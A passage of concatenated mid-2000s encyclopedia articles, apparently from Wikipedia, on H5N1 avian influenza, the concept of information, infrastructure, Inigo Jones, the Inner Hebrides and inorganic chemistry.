          In September, 2006, a WHO scientist announced that studies had confirmed cases of H5N1 strains resistant to Tamiflu and Amantadine.


          


          Preparations for pandemic
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                	"[T]he incidence of human cases peaked, in each of the three years in which cases have occurred, during the period roughly corresponding to winter and spring in the northern hemisphere. If this pattern continues, an upsurge in cases could be anticipated starting in late 2006 or early 2007." Avian influenza  epidemiology of human H5N1 cases reported to WHO


                	The regression curve for deaths is y=a+ekx, and is shown extended through the end of April, 2007.

              

            

          


          "The United States is collaborating closely with eight international organizations, including the World Health Organization (WHO), the Food and Agriculture Organization of the United Nations (FAO), the World Organization for Animal Health (OIE), and 88 foreign governments to address the situation through planning, greater monitoring, and full transparency in reporting and investigating avian influenza occurrences. The United States and these international partners have led global efforts to encourage countries to heighten surveillance for outbreaks in poultry and significant numbers of deaths in migratory birds and to rapidly introduce containment measures. The U.S. Agency for International Development (USAID) and the U.S. Department of State, the U.S. Department of Health and Human Services (HHS), and Agriculture (USDA) are coordinating future international response measures on behalf of the White House with departments and agencies across the federal government".


          Together steps are being taken to "minimize the risk of further spread in animal populations", "reduce the risk of human infections", and "further support pandemic planning and preparedness".


          Ongoing detailed mutually coordinated onsite surveillance and analysis of human and animal H5N1 avian flu outbreaks are being conducted and reported by the USGS National Wildlife Health Centre, the Centers for Disease Control and Prevention, the World Health Organization, the European Commission, and others.


          


          Effect on human society


          H5N1 has had a huge effect on human society, especially the financial, political, social, and personal responses to both actual and predicted deaths in birds, humans, and other animals.


          Billions of U.S. dollars are being raised and spent to research H5N1 and prepare for a potential avian influenza pandemic. Over ten billion dollars have been lost and over two hundred million birds have been killed to try to contain H5N1.


          People have reacted by buying less chicken causing poultry sales and prices to fall. Many individuals have stockpiled supplies for a possible flu pandemic. One of the best known experts on H5N1, Dr. Robert Webster, told ABC News he had a three month supply of food and water in his house as he prepared for what he considered a reasonably likely occurrence of a major pandemic.


          International health officials and other experts have pointed out that many unknown questions still hover around the disease


          Dr. David Nabarro, Chief Avian Flu Coordinator for the United Nations, and former Chief of Crisis Response for the World Health Organization has described himself as "quite scared" about the potential of H5N1's potential impact on humans. Nabarro has been accused of being alarmist before and on his first day in his role for the United Nations he proclaimed the avian flu could kill 150 million people. In an interview with the International Herald Tribune, Nabarro compares avian flu to AIDS in Africa, warning that underestimations led to inappropriate focus for research and intervention.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Influenza_A_virus_subtype_H5N1"
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          Information as a concept bears a diversity of meanings, from everyday usage to technical settings. Generally speaking, the concept of information is closely related to notions of constraint, communication, control, data, form, instruction, knowledge, meaning, mental stimulus, pattern, perception, and representation.


          Many people speak about the Information Age as the advent of the Knowledge Age or knowledge society, the information society, and information technologies, and even though informatics, information science and computer science are often in the spotlight, the word "information" is often used without careful consideration of the various meanings it has acquired.


          


          Etymology


          According to the Oxford English Dictionary, the earliest historical meaning of the word information in English was the act of informing, or giving form or shape to the mind, as in education, instruction, or training. A quote from 1387: "Five books come down from heaven for information of mankind." It was also used for an item of training, e.g. a particular instruction. "Melibee had heard the great skills and reasons of Dame Prudence, and her wise information and techniques." (1386)


          The English word was apparently derived by adding the common "noun of action" ending "-ation" (descended through French from Latin "-tio") to the earlier verb to inform, in the sense of to give form to the mind, to discipline, instruct, teach: "Men so wise should go and inform their kings." (1330) Inform itself comes (via French) from the Latin verb informare, to give form to, to form an idea of. Furthermore, Latin itself already even contained the word informatio meaning concept or idea, but the extent to which this may have influenced the development of the word information in English is unclear.


          As a final note, the ancient Greek word for form was eidos, and this word was famously used in a technical philosophical sense by Plato (and later Aristotle) to denote the ideal identity or essence of something (see Theory of forms). "Eidos" can also be associated with thought, proposition or even concept.


          


          Information as a message


          Information is the state of a system of interest. Message is the information materialized.


          Information is a quality of a message from a sender to one or more receivers. Information is always about something (size of a parameter, occurrence of an event, etc). Viewed in this manner, information does not have to be accurate. It may be a truth or a lie, or just the sound of a kiss. Even a disruptive noise used to inhibit the flow of communication and create misunderstanding would in this view be a form of information. However, generally speaking, if the amount of information in the received message increases, the message is more accurate.


          This model assumes there is a definite sender and at least one receiver. Many refinements of the model assume the existence of a common language understood by the sender and at least one of the receivers. An important variation identifies information as that which would be communicated by a message if it were sent from a sender to a receiver capable of understanding the message. However, in requiring the existence of a definite sender, the "information as a message" model does not attach any significance to the idea that information is something that can be extracted from an environment, e.g., through observation, reading or measurement.


          Information is a term with many meanings depending on context, but is as a rule closely related to such concepts as meaning, knowledge, instruction, communication, representation, and mental stimulus. Simply stated, information is a message received and understood. In terms of data, it can be defined as a collection of facts from which conclusions may be drawn. There are many other aspects of information since it is the knowledge acquired through study or experience or instruction. But overall, information is the result of processing, manipulating and organizing data in a way that adds to the knowledge of the person receiving it.


          Communication theory is a numerical measure of the uncertainty of an outcome. For example, we can say that "the signal contained thousands of bits of information". Communication theory tends to use the concept of information entropy, generally attributed to C.E. Shannon (see below).


          Another form of information is Fisher information, a concept of R.A. Fisher. This is used in application of statistics to estimation theory and to science in general. Fisher information is thought of as the amount of information that a message carries about an unobservable parameter. It can be computed from knowledge of the likelihood function defining the system. For example, with a normal likelihood function, the Fisher information is the reciprocal of the variance of the law. In the absence of knowledge of the likelihood law, the Fisher information may be computed from normally distributed score data as the reciprocal of their second moment.


          Even though information and data are often used interchangeably, they are actually very different. Data is a set of unrelated information, and as such is of no use until it is properly evaluated. Upon evaluation, once there is some significant relation between data, and they show some relevance, then they are converted into information. Now this same data can be used for different purposes. Thus, till the data convey some information, they are not useful.


          


          Measuring information entropy


          The view of information as a message came into prominence with the publication in 1948 of an influential paper by Claude Shannon, " A Mathematical Theory of Communication." This paper provides the foundations of information theory and endows the word information not only with a technical meaning but also a measure. If the sending device is equally likely to send any one of a set of N messages, then the preferred measure of "the information produced when one message is chosen from the set" is the base two logarithm of N (This measure is called self-information). In this paper, Shannon continues:


          
            The choice of a logarithmic base corresponds to the choice of a unit for measuring information. If the base 2 is used the resulting units may be called binary digits, or more briefly bits, a word suggested by J. W. Tukey. A device with two stable positions, such as a relay or a flip-flop circuit, can store one bit of information. N such devices can store N bits

          


          A complementary way of measuring information is provided by algorithmic information theory. In brief, this measures the information content of a list of symbols based on how predictable they are, or more specifically how easy it is to compute the list through a program: the information content of a sequence is the number of bits of the shortest program that computes it. The sequence below would have a very low algorithmic information measurement since it is a very predictable pattern, and as the pattern continues the measurement would not change. Shannon information would give the same information measurement for each symbol, since they are statistically random, and each new symbol would increase the measurement.


          
            	123456789101112131415161718192021

          


          It is important to recognize the limitations of traditional information theory and algorithmic information theory from the perspective of human meaning. For example, when referring to the meaning content of a message Shannon noted Frequently the messages have meaning these semantic aspects of communication are irrelevant to the engineering problem. The significant aspect is that the actual message is one selected from a set of possible messages (emphasis in original).


          In information theory signals are part of a process, not a substance; they do something, they do not contain any specific meaning. Combining algorithmic information theory and information theory we can conclude that the most random signal contains the most information as it can be interpreted in any way and cannot be compressed.


          Micheal Reddy noted that "'signals' of the mathematical theory are 'patterns that can be exchanged'. There is no message contained in the signal, the signals convey the ability to select from a set of possible messages." In information theory "the system must be designed to operate for each possible selection, not just the one which will actually be chosen since this is unknown at the time of design".


          


          Information as a pattern


          Information is any represented pattern. This view assumes neither accuracy nor directly communicating parties, but instead assumes a separation between an object and its representation. Consider the following example: economic statistics represent an economy, however inaccurately. What are commonly referred to as data in computing, statistics, and other fields, are forms of information in this sense. The electro-magnetic patterns in a computer network and connected devices are related to something other than the pattern itself, such as text characters to be displayed and keyboard input. Signals, signs, and symbols are also in this category. On the other hand, according to semiotics, data is symbols with certain syntax and information is data with a certain semantic. Painting and drawing contain information to the extent that they represent something such as an assortment of objects on a table, a profile, or a landscape. In other words, when a pattern of something is transposed to a pattern of something else, the latter is information. This would be the case whether or not there was anyone to perceive it.


          But if information can be defined merely as a pattern, does that mean that neither utility nor meaning are necessary components of information? Arguably a distinction must be made between raw unprocessed data and information which possesses utility, value or some quantum of meaning. On this view, information may indeed be characterized as a pattern; but this is a necessary condition, not a sufficient one.


          An individual entry in a telephone book, which follows a specific pattern formed by name, address and telephone number, does not become "informative" in some sense unless and until it possesses some degree of utility, value or meaning. For example, someone might look up a girlfriend's number, might order a take away etc. The vast majority of numbers will never be construed as "information" in any meaningful sense. The gap between data and information is only closed by a behavioural bridge whereby some value, utility or meaning is added to transform mere data or pattern into information.


          When one constructs a representation of an object, one can selectively extract from the object ( sampling) or use a system of signs to replace ( encoding), or both. The sampling and encoding result in representation. An example of the former is a "sample" of a product; an example of the latter is "verbal description" of a product. Both contain information of the product, however inaccurate. When one interprets representation, one can predict a broader pattern from a limited number of observations (inference) or understand the relation between patterns of two different things ( decoding). One example of the former is to sip a soup to know if it is spoiled; an example of the latter is examining footprints to determine the animal and its condition. In both cases, information sources are not constructed or presented by some "sender" of information. Regardless, information is dependent upon, but usually unrelated to and separate from, the medium or media used to express it. In other words, the position of a theoretical series of bits, or even the output once interpreted by a computer or similar device, is unimportant, except when someone or something is present to interpret the information. Therefore, a quantity of information is totally distinct from its medium.


          


          Information as sensory input


          Often information is viewed as a type of input to an organism or designed device. Inputs are of two kinds. Some inputs are important to the function of the organism (for example, food) or device (energy) by themselves. In his book Sensory Ecology, Dusenbery called these causal inputs. Other inputs (information) are important only because they are associated with causal inputs and can be used to predict the occurrence of a causal input at a later time (and perhaps another place). Some information is important because of association with other information but eventually there must be a connection to a causal input. In practice, information is usually carried by weak stimuli that must be detected by specialized sensory systems and amplified by energy inputs before they can be functional to the organism or device. For example, light is often a causal input to plants but provides information to animals. The colored light reflected from a flower is too weak to do much photosynthetic work but the visual system of the bee detects it and the bee's nervous system uses the information to guide the bee to the flower, where the bee often finds nectar or pollen, which are causal inputs, serving a nutritional function.


          Information is any type of sensory input. When an organism with a nervous system receives an input, it transforms the input into an electrical signal. This is regarded information by some. The idea of representation is still relevant, but in a slightly different manner. That is, while abstract painting does not represent anything concretely, when the viewer sees the painting, it is nevertheless transformed into electrical signals that create a representation of the painting. Defined this way, information does not have to be related to truth, communication, or representation of an object. Entertainment in general is not intended to be informative. Music, the performing arts, amusement parks, works of fiction and so on are thus forms of information in this sense, but they are not necessarily forms of information according to some definitions given above. Consider another example: food supplies both nutrition and taste for those who eat it. If information is equated to sensory input, then nutrition is not information but taste is.


          


          Information as an influence which leads to a transformation


          Information is any type of pattern that influences the formation or transformation of other patterns. In this sense, there is no need for a conscious mind to perceive, much less appreciate, the pattern. Consider, for example, DNA. The sequence of nucleotides is a pattern that influences the formation and development of an organism without any need for a conscious mind. Systems theory at times seems to refer to information in this sense, assuming information does not necessarily involve any conscious mind, and patterns circulating (due to feedback) in the system can be called information. In other words, it can be said that information in this sense is something potentially perceived as representation, though not created or presented for that purpose.


          When Marshall McLuhan speaks of media and their effects on human cultures, he refers to the structure of artifacts that in turn shape our behaviors and mindsets. Also, pheromones are often said to be "information" in this sense.


          (See also Gregory Bateson.)


          


          Information as a property in physics


          In 2003, J. D. Bekenstein claimed there is a growing trend in physics to define the physical world as being made of information itself (and thus information is defined in this way). Information has a well defined meaning in physics. Examples of this include the phenomenon of quantum entanglement where particles can interact without reference to their separation or the speed of light. Information itself cannot travel faster than light even if the information is transmitted indirectly. This could lead to the fact that all attempts at physically observing a particle with an "entangled" relationship to another are slowed down, even though the particles are not connected in any other way other than by the information they carry.


          Another link is demonstrated by the Maxwell's demon thought experiment. In this experiment, a direct relationship between information and another physical property, entropy, is demonstrated. A consequence is that it is impossible to destroy information without increasing the entropy of a system; in practical terms this often means generating heat. Thus, in the study of logic gates, the theoretical lower bound of thermal energy released by an AND gate is higher than for the NOT gate (because information is destroyed in an AND gate and simply converted in a NOT gate). Physical information is of particular importance in the theory of quantum computers.


          


          Information as records


          Records are a specialized form of information. Essentially, records are information produced consciously or as by-products of business activities or transactions and retained because of their value. Primarily their value is as evidence of the activities of the organization but they may also be retained for their informational value. Sound records management ensures that the integrity of records is preserved for as long as they are required.


          The international standard on records management, ISO 15489, defines records as "information created, received, and maintained as evidence and information by an organization or person, in pursuance of legal obligations or in the transaction of business". The International Committee on Archives (ICA) Committee on electronic records defined a record as, "a specific piece of recorded information generated, collected or received in the initiation, conduct or completion of an activity and that comprises sufficient content, context and structure to provide proof or evidence of that activity".


          Records may be retained because of their business value, as part of the corporate memory of the organization or to meet legal, fiscal or accountability requirements imposed on the organization. Willis (2005) expressed the view that sound management of business records and information delivered "six key requirements for good corporate governancetransparency; accountability; due process; compliance; meeting statutory and common law requirements; and security of personal and corporate information."
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          Infrastructure typically refers to the assets that support an economy, such as roading, water supply, wastewater, stormwater, power supply, flood management, recreational and other assets. In the past these assets have typically been owned and managed by local or central government. The investment in these assets is made with the intention that dividends will accrue through increased productivity, improved living conditions and greater prosperity. These various elements may collectively be termed civil infrastructure, municipal infrastructure, or simply public works, although they may be developed and operated as private-sector or government enterprises. A more generic definition of infrastructure is the network of assets "where the system as a whole is intended to be maintained indefinitely at a specified standard of service by the continuing replacement and refurbishment of its components."


          


          Alternative definitions


          In other applications, infrastructure may refer to information technology, informal and formal channels of communication, software development tools, political and social networks, or beliefs held by members of particular groups. Still underlying these more general uses is the concept that infrastructure provides organizing structure and support for the system or organization it serves, whether it is a city, a nation, or a corporation. Economically, infrastructure could be seen to be the structural elements of an economy which allow for production of goods and services without themselves being part of the production process, e.g. roads allow the transport of raw materials and finished products.


          



          


          Typical attributes


          Infrastructure assets generally have the following attributes:

           They are large networks constructed over generations which are not often replaced as a whole system

           The system or network has a long and indefinite life because its service capacity is maintained in perpetuity (by continual refurbishment or replacement of components as they wear out).

           The system components are inderdependent and not usually capable of subdivision or separate disposal, and consequently are not readily disposable within the commercial marketplace.

           The system interdependency may limit a component life to a lesser period than the expected life of the component itself.

           The assets have a high initial cost and a value which is difficult to determine.



          An asset can be considered to be part of the infrastructure when it is an integral part of a total system, i.e. if the asset is removed the system is incomplete, or the particular asset is necessary for the system to deliver the required standard of service. 


          Critical infrastructure


          The term "critical infrastructure" has been widely adopted to distinguish those infrastructure elements that, if significantly damaged or destroyed, would cause serious disruption of the dependent system or organization. Storm, flood, or earthquake damage leading to loss of certain transportation routes in a city (for example, bridges crossing a river), could make it impossible for people to evacuate and for emergency services to operate; these routes would be deemed critical infrastructure. Similarly, an on-line reservations system might be critical infrastructure for an airline.


          


          History


          According to etymology online , the word infrastructure has been around since 1927 and meant: The installations that form the basis for any operation or system. Originally in a military sense. The word is a combination of "infra", meaning "below" and "structure".


          The term came to prominence in the United States in the 1980s following the publication of America in Ruins (Choate and Walter, 1981), which initiated a public-policy discussion of the nations "infrastructure crisis", purported to be caused by decades of inadequate investment and poor maintenance of public works.


          That public-policy discussion was hampered by lack of a precise definition for infrastructure. The U.S. National Research Council committee cited Senator Stafford, who commented at hearings before the Subcommittee on Water Resources, Transportation, and Infrastructure; Committee on Environment and Public Works; that "probably the word infrastructure means different things to different people." The NRC panel then sought to rectify the situation by adopting the term "public works infrastructure", referring to "...both specific functional modes - highways, streets, roads, and bridges; mass transit; airports and airways; water supply and water resources; wastewater management; solid-waste treatment and disposal; electric power generation and transmission; telecommunications; and hazardous waste management - and the combined system these modal elements comprise.


          A comprehension of infrastructure spans not only these public works facilities, but also the operating procedures, management practices, and development policies that interact together with societal demand and the physical world to facilitate the transport of people and goods, provision of water for drinking and a variety of other uses, safe disposal of society's waste products, provision of energy where it is needed, and transmission of information within and between communities." In subsequent years the word has grown in popularity and been applied with increasing generality to suggest the internal framework discernible in any technology system or business organization.
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          Inigo Jones ( July 15, 1573  June 21, 1652) is regarded as the first significant English architect, and the first to bring Renaissance architecture to England. He also made valuable contributions to stage design.


          Beyond the fact that he was born in the vicinity of Smithfield in central London, the son of a Welsh Catholic clothworker, and christened at the church of St Bartholomew the Less, little is known about Jones's early years. But towards the end of the 16th century, he became one of the first Englishmen to study architecture in Italy, making two visits to that country. The first (c.1598-1603) was possibly funded by Roger Manners, 5th Earl of Rutland. The second, from 1613 to 1614, found Inigo in the company of the Earl of Arundel. He may also have been in Italy in 1606 and was influenced by the ambassador Henry Wotton and owned a copy of Andrea Palladio's works with marginalia that refer to Wotton. See Wotton And His Worlds 2004 by Gerald Curzon. His work became particularly influenced by Palladio. To a lesser extent, he also held that the setting out of buildings should be guided by principles first described by ancient Roman writer Vitruvius.
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          Jones's best known buildings are the Queen's House at Greenwich, London (started in 1616, his earliest surviving work) and the Banqueting House at Whitehall (1619)  part of a major modernisation by him of the Palace of Whitehall  which also has a ceiling painted by Peter Paul Rubens.


          The Banqueting House was one of several projects where Jones worked with his personal assistant and nephew by marriage John Webb.


          The other project in which Jones was involved was the design of Covent Garden. He was commissioned by the Earl of Bedford to build a residential square along the lines of an Italian piazza. The Earl felt obliged to provide a church and he warned Jones that he wanted to economise. He told him to simply erect a "barn" and Jones's oft-quoted response was that his lordship would have "the finest barn in Europe". Little remains of the original church situated to the west of the piazza.
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          As well as his architectural work, Jones did a great deal of work in the field of stage design. He is credited with introducing movable scenery and the proscenium arch to English theatre. Jones designed costumes, sets, and stage effects for a number of masques by Ben Jonson, and the two had famous arguments about whether stage design or literature was more important in theatre. (Jonson ridiculed Jones in a series of his works, written over a span of two decades.)


          As the Surveyor of Works to King Charles I, Jones worked for Queen Henrietta Maria on the design of a Roman Catholic chapel at Somerset House (an act that provoked great suspicion from the Protestants) and his career effectively ended with the outbreak of the English Civil War in 1642 and the seizure of the King's houses in 1643. His property was later returned to him (c.1646) but Jones ended his days living in Somerset House and was subsequently buried in the Church of St Benet Paul's Wharf, in London. John Denham and then Christopher Wren followed him as King's Surveyor of Works.


          It was in his capacity as surveyor that he was asked to conduct some measurements of Stonehenge. While some of Jones's observations are questionable, and his interpretations and conclusions can only be regarded as fanciful at best, his was the first serious survey.


          He was an influence on a number of 18th century architects, notably Lord Burlington and William Kent.
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          The Inner Hebrides ( Scottish Gaelic: Na h-Eileanan a-staigh - the inner isles) is an archipelago off the west coast of Scotland, to the south east of the Outer Hebrides. They are part of the Hebrides. In classical sources, they are referred to as the Ebudae or the Ebudes. Traditionally, the Inner Hebrides have been subdivided into two groups (northern and southern).


          


          History


          The Hebrides were settled early on in the settlement of the British Isles, perhaps as early as the Mesolithic era, around 8500-8250 BC, after the climatic conditions improved enough to sustain human settlement. There are examples of structures possibly dating from up to 3000 BC, the finest example being the standing stones at Callanish, but some archaeologists date the site as Bronze Age. Little is known of the people who settled in the Hebrides but they were likely of the same Celtic stock that had settled Scotland. Settlements at Northton, Harris, have both Beaker & Neolithic dwelling houses, the oldest in The Western Isles, attesting to the settlement.


          Irish Gaels moved north and began to colonize the area sometime in the 4th or 5th Century. These people formed the Gaelic kingdom of Dal Riata. The golden age of Dal Riata is thought to be around near the beginning of the 7th Century and began a decline, with intermittent revivals occurring as late as the 9th Century.


          Columba came to the Inner Hebrides in 563, founding a monastery on Iona and a number of other monasteries and retreats in the surrounding islands. The first written records of the islands began with the arrival of Columba.


          The Hebrides began to come under Norse control and settlement already before the 9th century AD. The Norse control of the Hebrides was formalized in 1098 when Edgar of Scotland formally signed the islands over to Magnus III of Norway. The Scottish acceptance of Magnus III as King of the Isles came after the Norwegian king had conquered the Orkney Islands, the Hebrides and the Isle of Man in a swift and devastating campaign earlier the same year, directed against the local Norwegian leaders of the various islands after they had begun paying homage to Edgar as their overlord. By capturing the islands Magnus III subdued the Norsemen who had seized the islands centuries earlier and imposed a more direct royal control.


          The Norwegian control of both the Inner and Outer Hebrides would see almost constant warfare until being ultimately resolved by the partitioning of the Western Isles in 1156. The Outer Hebrides would remain under the Kingdom of Mann and the Isles while the Inner Hebrides broke out under Somerled, the Norse-Celtic kinsman of both Lulach and the Manx royal house. Although the Inner Hebrides, from 1156 known as the Kingdom of the Hebrides, still nominally was under the sovereignty of Norway, the leaders were Scottish in language and culture rather than Norse.


          After his victory of 1156 Somerled went on to two years later seize control over the Isle of Man itself and become the last King of the Isle of Man and the Isles to rule over all the islands the kingdom had once included. After Somerled's death in 1164 the rulers of Mann would no longer be in control of the Inner Hebrides.


          The Lord of the Isles would continue to rule the Inner Hebrides as well as part of the Western Highlands as a subject of the King of Scots until John MacDonald, fourth Lord of the Isles, squandered the family's power away. Through a secret treaty with Edward IV of England in 1462, he planned to make himself more or less an independent ruler. When James III of Scotland found out about the treaty in 1475, he forfeited MacDonald's lands. Some were restored for a promise of good behaviour, but MacDonald was unable to control his son who defeated him at the Battle of Bloody Bay (Mull, 1481) and his nephew whose rebellion in 1493 provoked an exasperated James IV to forfeit the lands for the last time in 1493. MacDonald died in 1503.


          


          Islands


          


          Northern


          The northern Inner Hebrides comprise Skye, the Small Isles and some smaller islands surrounding Skye. They are part of the Highland unitary council region. The smaller islands include:


          
            	Ascrib Islands


            	Crowlin Islands


            	Isay


            	Longay


            	Ornsay


            	Raasay


            	Pabay


            	Scalpay, Soay, South Rona


            	Wiay

          


          
            	Summer Isles

          


          


          Southern


          The southern Inner Hebrides comprise Mull, Islay, Jura, the Slate Islands, the Treshnish Islands and some islands surrounding Mull. They are part of the Argyll and Bute council region. The smaller islands include:


          
            	Calve Island, Cara, Crna, Coll, Colonsay


            	Eileach an Naoimh, Eilean Dubh Mr, Eilean Macaskin, Eilean Righ, Eorsa, Erraid


            	Garbh Eileach, Gigha, Gometra, Gunna


            	Iona, Inch Kenneth


            	Kerrera


            	Lismore, Little Colonsay, Luing, Lunga


            	Oronsay


            	Scarba, Seil, Shuna, Staffa


            	Texa, Tiree


            	Ulva

          


          The Islands of the Clyde are sometimes mislocated in the Southern Hebrides. Technically they are not part of the archipelago.


          


          Literature


          
            	Ross, David (2005) Scotland - History of a Nation
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          Inorganic chemistry is the branch of chemistry concerned with the properties and behaviour of inorganic compounds. This field covers all chemical compounds except the myriad organic compounds (compounds containing C-H bonds), which are the subjects of organic chemistry. The distinction between the two disciplines is far from absolute, and there is much overlap, most importantly in the sub-discipline of organometallic chemistry.


          


          Key concepts
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          The bulk of inorganic compounds occur as salts, the combination of cations and anions joined by ionic bonding. Examples of cations are sodium Na+, and magnesium Mg2+ and examples of anions are oxide O2 and chloride Cl. As salts are neutrally charged, these ions form compounds such as sodium oxide Na2O or magnesium chloride MgCl2. The ions are described by their oxidation state and their ease of formation can be inferred from the ionization potential (for cations) or from the electron affinity (anions) of the parent elements.


          Important classes of inorganic compounds are the oxides, the carbonates, the sulfates and the halides. Many inorganic compounds are characterized by high melting points. Inorganic salts typically are poor conductors in the solid state. Another important feature is their solubility in e.g. water (see: solubility chart), and ease of crystallization. Where some salts (e.g. NaCl) are very soluble in water, others (e.g. SiO2) are not.


          The simplest inorganic reaction is double displacement when in mixing of two salts the ions are swapped without a change in oxidation state. In redox reactions one reactant, the oxidant, lowers its oxidation state and another reactant, the reductant, has its oxidation state increased. The net result is an exchange of electrons. Electron exchange can occur indirectly as well, e.g. in batteries, a key concept in electrochemistry.


          When one reactant contains hydrogen atoms, a reaction can take place by exchanging protons in acid-base chemistry. In a more general definition, an acid can be any chemical species capable of binding to electron pairs is called a Lewis acid; conversely any molecule that tends to donate an electron pair is referred to as a Lewis base. As a refinement of acid-base interactions, the HSAB theory takes into account polarizability and size of ions.


          Inorganic compounds are found in nature as minerals. Soil may contain iron sulfide as pyrite or calcium sulfate as gypsum. Inorganic compounds are also found multitasking as biomolecules: as electrolytes (sodium chloride), in energy storage (ATP) or in construction (the polyphosphate backbone in DNA).


          The first important man-made inorganic compound was ammonium nitrite for soil fertilization through the Haber process. Inorganic compounds are synthesized for use as catalysts such as vanadium(V) oxide and titanium(III) chloride, or as reagents in organic chemistry such as lithium aluminium hydride.


          Subdivisions of inorganic chemistry are organometallic chemistry, cluster chemistry and bioinorganic chemistry. These fields are active areas of research in inorganic chemistry, aimed toward new catalysts, superconductors, and therapies.


          


          Industrial inorganic chemistry


          Inorganic chemistry is a highly practical area of science. Traditionally, the scale of a nation's economy could be evaluated by their productivity of sulfuric acid. The top 20 inorganic chemicals manufactured in Canada, China, Europe, Japan, and the US (2005 data): aluminium sulfate, ammonia, ammonium nitrate, ammonium sulfate, carbon black, chlorine, hydrochloric acid, hydrogen, hydrogen peroxide, nitric acid, nitrogen, oxygen, phosphoric acid, sodium carbonate, sodium chlorate, sodium hydroxide, sodium silicate, sodium sulfate, sulfuric acid, and titanium dioxide,


          


          Descriptive inorganic chemistry


          Descriptive inorganic chemistry focuses on the classification of compounds based on their properties. Partly the classification focuses on the position in the periodic table of the heaviest element (the element with the highest atomic weight) in the compound, partly by grouping compounds by their structural similarities. When studying inorganic compounds, one often encounters parts of the different classes of inorganic chemistry (an organometallic compound is characterized by its coordination chemistry, and may show interesting solid state properties).


          Different classifications are:


          


          Coordination compounds
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          Classical coordination compounds feature metals bound to " lone pairs" of electrons residing on the main group atoms of ligands such as H2O, NH3, Cl, and CN. In modern coordination compounds almost all organic and inorganic compounds can be used as ligands. The "metal" usually is a metal from the groups 3-13, as well as the trans-lanthanides and trans-actinides, but from a certain perspective, all chemical compounds can be described as coordination complexes.


          The stereochemistry of coordination complexes can be quite rich, as hinted at by Werner's separation of two enantiomers of [Co((OH)2Co(NH3)4)3]6+, an early demonstration that chirality is not inherent to organic compounds. A topical theme within this specialization is supramolecular coordination chemistry.


          
            	Examples: [Co( EDTA)], [Co(NH3)6]3+, TiCl4( THF)2.

          


          


          Main group compounds
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          These species feature elements from groups 1, 2 and 13-18 (excluding hydrogen) of the periodic table. Due to their often similar reactivity, the elements in group 3 (Sc, Y, and La) and group 12 (Zn, Cd, and Hg) are also generally included.


          Main group compounds have been known since the beginnings of chemistry, e.g. elemental sulfur and the distillable white phosphorus. Experiments on oxygen, O2, by Lavoisier and Priestley not only identified an important diatomic gas, but opened the way for describing compounds and reactions according to stoichiometric ratios. The discovery of a practical synthesis of ammonia using iron catalysts by Carl Bosch and Fritz Haber in the early 1900s deeply impacted mankind, demonstrating the significance of inorganic chemical synthesis. Typical main group compounds are SiO2, SnCl4, and N2O. Many main group compounds can also be classed as organometallic, as they contain organic groups, e.g. B( CH3)3). Main group compounds also occur in nature, e.g. phosphate in DNA, and therefore may be classed as bioinorganic. Conversely, organic compounds lacking (many) hydrogen ligands can be classed as inorganic, such as the fullerenes, buckytubes and binary carbon oxides.


          
            	Examples: tetrasulfur tetranitride S4N4, diborane B2H6, silicones, buckminsterfullerene C60.

          


          


          Transition metal compounds
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          Compounds containing metals from group 4 to 11 are considered transition metal compounds. Compounds with a metal from group 3 or 12 are sometimes also incorporated into this group, but also often classified as main group compounds.


          Transition metal compounds show a rich coordination chemistry, varying from tetrahedral for titanium (e.g. TiCl4) to square planar for some nickel complexes to octahedral for coordination complexes of cobalt. A range of transition metals can be found in biologically important compounds, such as iron in hemoglobin.


          
            	Examples: iron pentacarbonyl, titanium tetrachloride, cisplatin

          


          


          Organometallic compounds
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          Usually, organometallic compounds are considered to contain the M-C-H group. The metal (M) in these species can either be a main group element or a transition metal. Operationally, the definition of an organometallic compound is more relaxed to include also highly lipophilic complexes such as metal carbonyls and even metal alkoxides.


          Organometallic compounds are mainly considered a special category because organic ligands are often sensitive to hydrolysis or oxidation, necessitating that organometallic chemistry employs more specialized preparative methods than was traditional in Werner-type complexes. Synthetic methodology, especially the ability to manipulate complexes in solvents of low coordinating power, enabled the exploration of very weakly coordinating ligands such as hydrocarbons, H2, and N2. Because the ligands are petrochemicals in some sense, the area of organometallic chemistry has greatly benefited from its relevance to industry.


          
            	Examples: Cyclopentadienyliron dicarbonyl dimer (C5H5)Fe(CO)2CH3, Ferrocene Fe(C5H5)2, Molybdenum hexacarbonyl Mo(CO)6, Diborane B2H6, Tetrakis(triphenylphosphine)palladium(0) Pd[P(C6H5)3]4

          


          


          Cluster compounds
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          Clusters can be found in all classes of chemical compounds. According to the commonly accepted definition, a cluster consists minimally of a triangular set of atoms that are directly bonded to each other. But metal-metal bonded dimetallic complexes are highly relevant to the area. Clusters occur in "pure" inorganic systems, organometallic chemistry, main group chemistry, and bioinorganic chemistry. The distinction between very large clusters and bulk solids is increasingly blurred. This interface is the chemical basis of nanoscience or nanotechnology and specifically arise from the study of quantum size effects in cadmium selenide clusters. Thus, large clusters can be described as an array of bound atoms intermediate in character between a molecule and a solid.

          



          
            	Examples: Fe3(CO)12, B10H14, [Mo6Cl14]2, 4Fe-4S

          


          



          


          Bioinorganic compounds
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          See also Bioorganometallic chemistry


          These compounds occur (by definition) in nature, but the subfield includes anthropogenic species, such as pollutants and drugs, e.g. Cisplatin. The field includes many compounds, e.g. the phosphates in DNA, but also metal complexes containing ligands that range from biological macromolecules, commonly peptides, to ill-defined species such as humic acid, and to water (e.g. coordinated to gadolinium complexes employed for MRI).


          
            	Examples: hemoglobin, methylmercury, carboxypeptidase

          


          


          Solid state compounds
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          This important area focuses on structure, bonding, and the physical properties of materials. In practice, solid state inorganic chemistry uses techniques such as crystallography to gain an understanding of the properties that result from collective interactions between the subunits of the solid. Included in solid state chemistry are metals and their alloys or intermetallic derivatives. Related fields are condensed matter physics, mineralogy, and materials science.


          
            	Examples: silicon chips, zeolites, YBa2Cu3O7

          


          


          Theoretical inorganic chemistry


          An alternative perspective on the area of inorganic chemistry begins with the Bohr model of the atom and, using the tools and models of theoretical chemistry and computational chemistry, expands into bonding in simple and then more complex molecules. Precise quantum mechanical descriptions for multielectron species, the province of inorganic chemistry, is difficult. This challenge has spawned many semi-quantitative or semi-empirical approaches including molecular orbital theory and ligand field theory, In parallel with these theoretical descriptions, approximate methodologies are employed, including density functional theory.


          Exceptions to theories, qualitative and quantitative, are extremely important in the development of the field. For example, CuII2(OAc)4(H2O)2 is almost diamagnetic below room temperature whereas Crystal Field Theory predicts that the molecule would have two unpaired electrons. The disagreement between qualitative theory (paramagnetic) and observation (diamagnetic) led to the development of models for "magnetic coupling." These improved models led to the development of new magnetic materials and new technologies.


          


          Qualitative theories
